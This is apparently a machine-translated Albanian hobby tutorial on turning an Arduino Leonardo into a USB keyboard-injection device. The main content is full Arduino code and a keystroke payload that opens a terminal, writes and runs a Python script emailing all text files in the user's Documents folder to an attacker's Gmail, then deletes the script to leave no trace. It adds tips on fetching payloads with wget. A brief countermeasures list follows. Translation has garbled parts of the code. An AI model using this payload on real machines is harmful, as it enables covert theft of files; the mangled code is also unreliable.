Përmbajtje:
Video: Demo e shfrytëzimit të tastierës Arduino (HID) dhe parandalimi: 4 hapa (me fotografi)
2024 Autor: John Day | [email protected]. E modifikuara e fundit: 2024-01-30 12:26
Në këtë projekt ne do të përdorim një arduino leonardo për të simuluar një sulm të mundshëm USB duke përdorur HID (pajisje humain interface).
Unë e kam krijuar këtë tutorial jo për të ndihmuar hakerat, por për t'ju treguar disa rreziqe reale dhe si të mbroni veten tuaj nga ato rreziqe. Kjo pajisje nuk është një pajisje që mund të përdoret në çdo platformë për hakerat, është më shumë një provë e konceptit në detaje.
Ne do të mësojmë sa vijon:
- si të përdorni arduino leonardo për të imituar tastierën
- si të lexoni të dhëna nga kartat SD
- si të krijoni një shkrim python që skanon skedarët dhe i dërgon ato me email
- si të mbroheni nga pajisjet e hakimit USB
Hapi 1: Materialet
Pjesët:
1. Arduino leonardo
2. lexues kartash mikro USB
3. disa kartë SD GB
4. buton si ky (VCC, Ground dhe sinjal)
5. kabllo bluzë femër-mashkull dhe femër-femër
6. kabllo mikro USB në USB
Hapi 2: Ndërtimi i pajisjes
Para udhëzimit të ndërtimit, le të rishikojmë parimin e punës:
Arduino leonardo mund të sillet si një pajisje ndërfaqe njerëzore (HID) dhe për këtë arsye mund të imitojë miun dhe tastierën. Ne do ta përdorim këtë veçori për të hapur një terminal (në UBUNTU linux) dhe për të shkruar një skript të vogël që do të hyjë në dosjen /Dokumentet brenda dosjes së përdoruesit të shtëpisë kopjoni skedarët.txt atje dhe i dërgoni me email dikujt. Nëse doni të zbuloni më shumë detaje, kontrolloni hapin tjetër.
Për shkak se është një pajisje demo gjërat janë vërtet të thjeshta, ne nuk do të lidhim asgjë.
Udhëzimet e ndërtimit
Para se të fillojmë të kontrollojmë skedarët e bashkangjitur, unë kam bashkangjitur skemat fritzing, dhe të gjithë skedarët e nevojshëm
1. Mblidhni përbërësit:
* lidhni kabllon mikro USB në arduino
* lidhni çelësin kyç me arduino (moduli i tokëzimit, vcc dhe jashtë në D8)
* lidhni lexuesin e kartës me arduino (duke përdorur kokën ICSP). Arduino leonardo nuk ka kokën ICSP të lidhur me kunjat dixhitale, kështu që do t'ju duhet të lidhni lexuesin e kartës me kokën e ICSP. Ju mund të gjeni disa vizatime të ICSP këtu: https://learn.sparkfun.com/tutorials/installing-an…. Lidhni kunjin SS me kunjin dixhital 10
2. merrni kodin arduino, mund të klononi depon time arduino në github: https://github.com/danionescu0/arduino dhe shkoni te projects/keyboard_exploit ose merrni atë nga poshtë:
#përfshi "Tastiera.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Fle::"; String commandStartingPoint = "Komanda::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = LART; void setup () {pinMode (buttonPin, INPUT); Serial.filloj (9600); Tastiera.filloj (); nëse (! SD.begin (chipSelect)) {Serial.println ("Karta dështoi, ose nuk është e pranishme!"); kthim; }} void loop () {int buttonState = digitalRead (buttonPin); nëse ((buttonState! = previousButtonState) && (buttonState == LART)) {sdFileToKeyboard (); Serial.println ("Ngarkuar!"); vonesë (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); nëse (! dataFile) {Serial.println ("Emri i skedarit të specifikuar nuk është i pranishëm në kartën SD, kontrolloni emrin e skedaritOnCard!"); } Linja e vargut; ndërsa (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (rreshti); sendToKeyboard (linjë); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (linjë); kthim; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (line); pressEnter (); kthim; } Serial.println ("Komanda:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Komanda e vargut = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; nëse (komanda! = "") {Serial.print ("Komanda u gjet:"); Serial.println (komanda); Keyboard.press (getCommandCode (komanda)); vonesë (delayBetweenCommands); }} Keyboard.releaseAll (); vonesë (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Fjetur për:"); Serial.println (sleepAmount); vonesa (Shuma e gjumit); } char getCommandCode (String text) {char textCharacters [2]; tekst.toCharArray (Karakteri i tekstit, 2); kodi char = tekstKarakteret [0]; kod = (tekst == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kodi; kod = (tekst == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kodi; kod = (tekst == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kodi; kod = (tekst == "KEY_UP_ARROW")? KEY_UP_ARROW: kodi; kod = (tekst == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kodi; kod = (tekst == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kodi; kod = (tekst == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kodi; kod = (tekst == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kodi; kod = (tekst == "KEY_BACKSPACE")? KEY_BACKSPACE: kodi; kod = (tekst == "KEY_TAB")? KEY_TAB: kodi; kod = (tekst == "KEY_RETURN")? KEY_RETURN: kodi; kod = (tekst == "KEY_ESC")? KEY_ESC: kodi; kod = (tekst == "KEY_INSERT")? KEY_INSERT: kodi; kod = (tekst == "KEY_DELETE")? KEY_DELETE: kodi; kod = (tekst == "KEY_PAGE_UP")? KEY_PAGE_UP: kodi; kod = (tekst == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kodi; kod = (tekst == "KEY_HOME")? KEY_HOME: kodi; kod = (tekst == "KEY_END")? KEY_END: kodi; kod = (tekst == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kodi; kod = (tekst == "KEY_F1")? KEY_F1: kodi; kod = (tekst == "KEY_F2")? KEY_F2: kodi; kod = (tekst == "KEY_F3")? KEY_F3: kodi; kod = (tekst == "KEY_F4")? KEY_F4: kodi; kod = (tekst == "KEY_F5")? KEY_F5: kodi; kod = (tekst == "KEY_F6")? KEY_F6: kodi; kod = (tekst == "KEY_F7")? KEY_F7: kodi; kod = (tekst == "KEY_F8")? KEY_F8: kodi; kod = (tekst == "KEY_F9")? KEY_F9: kodi; kod = (tekst == "KEY_F10")? KEY_F10: kodi; kod = (tekst == "KEY_F11")? KEY_F1: kodi; kod = (tekst == "KEY_F12")? KEY_F2: kodi;
kodi i kthimit;
}
3. Ngarko kodin në arduino, sigurohu që të zgjedhësh 9600 baud rate, portin serik dhe arduino leonardo
4. Formatoni kartën sd duke përdorur FAT16 ose FAT32
5. Nëse keni klonuar repo github nga lart, kopjoni skedarin hack.txt në kartë, nëse jo skedari është i listuar më poshtë:
Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. Import MIMETekst MIMETekst nga email. Përdorni importin COMMASPACE, format datën nga Koduesit e importit të postës elektronike
smtp_user = 'dërguesi_gmail_adresa'
smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumente'
subjekt = trup = 'Skedarë nga kompjuteri i hakuar'
header = 'Për: {0} nNga: {1} nSubjekti: {2} n'.format (në_adresë, smtp_user, subjekt)
def sendMail (tek, subjekti, teksti, skedarët = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (tekst)) për skedarin në skedarë: pjesë = MIMEBase ('aplikacioni', "oktet-stream") part.set_payload (hapur (skedari, "rb"). Lexo ()) Encoders.encode_base64 (pjesë) pjesë. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (file)) msg.attach (part)
server = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([te_adresa], subjekti, trupi, glob.glob ("{0}/{1}/*. txt".format (zgjerues ("~"), scan_documents_location)))
Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Ndryshoni rreshtat e mëposhtëm:
smtp_user = 'dërguesi_email_addr'
smtp_pass = 'sender_password' to_address = 'receiver_address'
Dhe zëvendësoni me adresat tuaja të postës elektronike
7. Hiqeni kartën dhe futeni në lexuesin e kartave arduino
Hapi 3: Si funksionon në detaje
Si do të funksionojë sulmi:
1. Kur shtypet butoni, leonardo do të lexojë kartën sd duke përdorur një lexues kartash sd. Një skedar special që përmban çelësa dhe kombinim kyç do të jetë i pranishëm në kartë. Emri i skedarit është "hack.txt".
Skedari mund të përmbajë tekst të papërpunuar dhe do të kalojë në tastierë ashtu siç është.
Gjithashtu mund të përmbajë komanda të veçanta si "Sleep::" dhe "Command::".
Një linjë si:
Gjumi:: 200 do të thotë një gjumë prej 200 ms
Një linjë si:
Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t do të thotë ctrl e majtë e shtypur, majtas alt e shtypur, t shtypur dhe të gjitha të lëshuara
Mund të kontrolloni të gjithë çelësat special këtu:
2. Leonardo do të lexojë rresht pas rreshti, dhe do të interpretojë komandat dhe do të imitojë çelësat në tastierë. Skedari "hack.txt" përmban një kombinim të çelësave që bën sa më poshtë (për UBUNTU linux):
a hap një terminal (CTRL + ALT + T)
b hap një skedar python për krijimin duke përdorur vi (shkruan "vi hack.py"
c shkruan një skript python brenda që mbledh të gjithë skedarët e tekstit brenda dosjes së dokumenteve në shtëpi dhe i dërgon ato në një adresë të caktuar gmail
d ekzekuton skedarin në sfond ("nohup python hack.py &")
e fshin skedarin (rm -rf hack.py)
f mbyll terminalin (ALT + F4)
E gjithë kjo gjë shkon në pak sekonda dhe nuk lë gjurmë.
Përmirësimet dhe zgjidhja e problemeve
* Ju mund të vini re se pasi unë jam duke hapur një terminal unë jam duke shkruar skedarin python. një mënyrë më e mirë për të do të jetë ta presësh diku dhe ta shkarkosh duke përdorur komandën "wget some_url", pastaj ta riemërtosh atë në hack.py
* Gjithashtu ne mund të shkarkojmë ose ekzekutojmë një shfrytëzim të gatshëm për sistemin operativ të synuar
* wifi mund të shtohet në modul dhe haket mund të ngarkohen përmes WIFI
* mund të përdorni arduino micro (i cili është shumë më i vogël) dhe të fusni kodin shfrytëzues mbi të (për ta bërë atë më të vogël)
Kufizimet
1. Për shkak se pajisja e simuluar (tastiera dhe miu) nuk ka ndonjë reagim, ne nuk e dimë se çfarë do të ndodhë pas lëshimit të një komande që do të thotë se duhet të përdorim vonesa. Për shembull, unë po lëshoj një komandë për të hapur terminalin, por nuk e di se kur do të jetë në të vërtetë i hapur, kështu që më duhet të specifikoj një vonesë arbitrare për të siguruar që personazhet e shtypur më pas nuk do të humbasin.
2. Ne mund të hasim probleme me lejen, si të mos kesh qasje në portën USB ose lejen për të instaluar diçka
3. Shpejtësia e shtypjes nuk është aq e madhe për leonardo
4. Do të punojë vetëm në një sistem operativ të synuar (në rastin tonë linux UBUNTU)
Në hapin tjetër do të përpiqemi të gjejmë mënyra për të shfrytëzuar këto kufizime për të parandaluar hakimin e kompjuterit tonë
Hapi 4: Kundërmasat
1. Çaktivizimi i porteve USB
-për dritaret mund të kontrolloni këtë tutorial:
2. Pajisjet USB të listës së bardhë:
- për dritaret:
2. Bllokoni kompjuterin tuaj kur nuk jeni larg
3. Mos hyni si root (kërkoni fjalëkalime për të instaluar ndonjë gjë)
4. Mbani veten të azhurnuar (përditësimet automatike të ndezura)
Recommended:
HID Kontrolluesi i tastierës për Project Diva Aracade Tone Future: 5 Hapa
HID Keyboard Controller for Project Diva Aracade Future Tone: V-USB është një zgjidhje bibliotekash USB me shpejtësi të ulët për mikro kontrolluesit AVR. Na mundëson krijimin e pajisjeve HID (Tastiera, Mouse, Gamepad etj) duke përdorur mikrokontrollues AVR. Zbatimi i tastierës HID bazohet në HID 1.11. Mbështet maksimumi 6 shtypje të butonave
Parandalimi i rrjedhjes së gazit në shtëpi duke përdorur Arduino .: 3 hapa
Parandalimi i rrjedhjes së gazit në shtëpi duke përdorur Arduino .: Në këtë udhëzues kam bërë një prototip që mbyll automatikisht çelësin e gazit të cilindrit të GLN -së kur ka një rrjedhje gazi. LPG është pa erë dhe një agjent i quajtur Ethyl Mercaptan shtohet për erën e tij, në mënyrë që të vërehet kur ka një rrjedhje.
Kontrolluesi i tastierës DIY për MAME dhe Pinball Virtual: 4 hapa (me fotografi)
Kontrolluesi i tastierës DIY për MAME dhe Pinball Virtual: Ky grup udhëzimesh ju lejon të krijoni kontrolluesin tuaj të tastierës duke përdorur tastiera të vjetra për koston e një teli, lidhës dhe një copë druri. Këta kontrollues janë përdorur në projektet e mia MAME dhe Pinball Virtual . Shih Instalimin Pinball Virtual
Kontrolluesi i basit, trefishtë dhe volumit USB me LED të tastierës: 6 hapa (me fotografi)
Kontrolluesi i basit, trefishit dhe vëllimit USB me LED të tastierës: Unë kam një Creative SoundBlaster Audigy në kompjuterin tim kryesor desktop dhe më duhej një mënyrë për të rregulluar shpejt cilësimet e basit dhe të trefishtë (si dhe volumin) kur dëgjoni media audio ose video Me Unë kam përshtatur kodin nga dy burime të dhëna në
Ndërfaqja e tastierës me 8051 dhe shfaqja e numrave të tastierës në 7 segmente: 4 hapa (me fotografi)
Ndërfaqja e tastierës me 8051 dhe shfaqja e numrave të tastierës në 7 segmente: Në këtë tutorial do t'ju tregoj se si mund të ndërlidhim tastierën me 8051 dhe shfaqjen e numrave të tastierës në ekranin e 7 segmenteve